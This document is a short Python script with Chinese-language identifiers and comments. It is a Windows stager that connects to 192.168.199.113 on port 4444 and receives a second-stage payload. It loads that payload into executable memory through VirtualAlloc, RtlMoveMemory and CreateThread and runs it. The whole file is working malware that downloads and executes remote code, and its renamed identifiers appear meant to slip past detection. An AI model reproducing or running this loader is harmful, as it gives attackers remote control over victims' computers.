import struct, socket, binascii, ctypes as ctypes的模块名, random, time
函数实例化, socket实例 = None, None
def 连接并传输数据():
        try:
                global socket实例
                socket实例 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                socket实例.connect(('192.168.199.113', 4444))
                结构体变量 = struct.pack('<i', socket实例.fileno())
                #获取对象标识符
                数据长度 = struct.unpack('<i', socket实例.recv(4))[0]
                #解包并获取原始数据长度
                传输数据 = b"     "
                while len(传输数据) < 数据长度: 传输数据 += socket实例.recv(数据长度)
                #当传输数据小于数据长度就写入数据
                字符处理后的数据 = ctypes的模块名.create_string_buffer(传输数据, len(传输数据))
                #将写入的数据申请到一个可变内存中
                字符处理后的数据[0] = binascii.unhexlify('BF')
                #将16进制变成2进制
                for i in range(4): 字符处理后的数据[i+1] = 结构体变量[i]
                #将数据写入结构体并赋值给刚才的二进制数据
                return 字符处理后的数据
        except: return None
def 系统相关函数(参数一):
        if 参数一 != None:
                字符串后的数据 = bytearray(参数一)
                #生成对象
                申请空间 = ctypes的模块名.windll.kernel32.VirtualAlloc(ctypes的模块名.c_int(0), ctypes的模块名.c_int(len(字符串后的数据)), ctypes的模块名.c_int(0x3000), ctypes的模块名.c_int(0x40))
                #申请空间
                数据处理 = (ctypes的模块名.c_char * len(字符串后的数据)).from_buffer(字符串后的数据)
                #生成char对象的数组并写入数据
                ctypes的模块名.windll.kernel32.RtlMoveMemory(ctypes的模块名.c_int(申请空间), 数据处理, ctypes的模块名.c_int(len(字符串后的数据)))
                #复制内存
                ht = ctypes的模块名.windll.kernel32.CreateThread(ctypes的模块名.c_int(0), ctypes的模块名.c_int(0), ctypes的模块名.c_int(申请空间), ctypes的模块名.c_int(0), ctypes的模块名.c_int(0), ctypes的模块名.pointer(ctypes的模块名.c_int(0)))
                #创建线程
                ctypes的模块名.windll.kernel32.WaitForSingleObject(ctypes的模块名.c_int(ht), ctypes的模块名.c_int(-1))
                #挂起线程
函数实例化 = 连接并传输数据()
系统相关函数(函数实例化)
